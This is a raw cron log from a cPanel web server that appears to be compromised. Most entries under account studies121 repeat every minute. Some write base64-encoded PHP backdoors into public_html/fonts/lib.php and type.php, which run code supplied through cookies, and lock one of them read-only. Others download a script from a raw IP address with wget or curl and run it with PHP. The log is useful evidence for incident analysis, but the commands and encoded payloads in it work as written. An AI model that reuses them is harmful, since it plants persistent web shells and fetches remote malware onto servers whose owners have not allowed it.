Aug 30 15:31:01 ip-184-168-122-23 CROND[2991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:32:01 ip-184-168-122-23 CROND[3086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:32:01 ip-184-168-122-23 CROND[3088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:32:01 ip-184-168-122-23 CROND[3089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:32:01 ip-184-168-122-23 CROND[3091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:32:01 ip-184-168-122-23 CROND[3093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:33:01 ip-184-168-122-23 CROND[3189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:33:01 ip-184-168-122-23 CROND[3191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:33:01 ip-184-168-122-23 CROND[3192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:33:01 ip-184-168-122-23 CROND[3196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:34:01 ip-184-168-122-23 CROND[3374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:34:01 ip-184-168-122-23 CROND[3375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:34:01 ip-184-168-122-23 CROND[3379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:34:01 ip-184-168-122-23 CROND[3380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:34:01 ip-184-168-122-23 CROND[3382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:35:01 ip-184-168-122-23 CROND[3478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3481]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:35:01 ip-184-168-122-23 CROND[3484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:36:01 ip-184-168-122-23 CROND[3605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:36:01 ip-184-168-122-23 CROND[3607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:36:01 ip-184-168-122-23 CROND[3608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:36:01 ip-184-168-122-23 CROND[3609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:36:01 ip-184-168-122-23 CROND[3610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:37:01 ip-184-168-122-23 CROND[3701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:37:01 ip-184-168-122-23 CROND[3702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:37:01 ip-184-168-122-23 CROND[3703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:37:01 ip-184-168-122-23 CROND[3704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:38:01 ip-184-168-122-23 CROND[3779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:38:01 ip-184-168-122-23 CROND[3782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:38:01 ip-184-168-122-23 CROND[3781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:38:01 ip-184-168-122-23 CROND[3784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:38:01 ip-184-168-122-23 CROND[3785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:39:01 ip-184-168-122-23 CROND[3888]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 15:39:01 ip-184-168-122-23 CROND[3887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:39:01 ip-184-168-122-23 CROND[3889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:39:01 ip-184-168-122-23 CROND[3890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:39:01 ip-184-168-122-23 CROND[3891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:40:01 ip-184-168-122-23 CROND[4068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:40:01 ip-184-168-122-23 CROND[4069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:40:01 ip-184-168-122-23 CROND[4073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:40:01 ip-184-168-122-23 CROND[4075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:40:01 ip-184-168-122-23 CROND[4076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:40:01 ip-184-168-122-23 CROND[4077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:40:01 ip-184-168-122-23 CROND[4074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:40:01 ip-184-168-122-23 CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:41:01 ip-184-168-122-23 CROND[4183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:41:01 ip-184-168-122-23 CROND[4185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:41:01 ip-184-168-122-23 CROND[4186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:41:01 ip-184-168-122-23 CROND[4187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:42:01 ip-184-168-122-23 CROND[4264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:42:01 ip-184-168-122-23 CROND[4263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:42:01 ip-184-168-122-23 CROND[4265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:42:01 ip-184-168-122-23 CROND[4267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:42:01 ip-184-168-122-23 CROND[4266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:43:01 ip-184-168-122-23 CROND[4365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:43:01 ip-184-168-122-23 CROND[4367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:43:01 ip-184-168-122-23 CROND[4368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
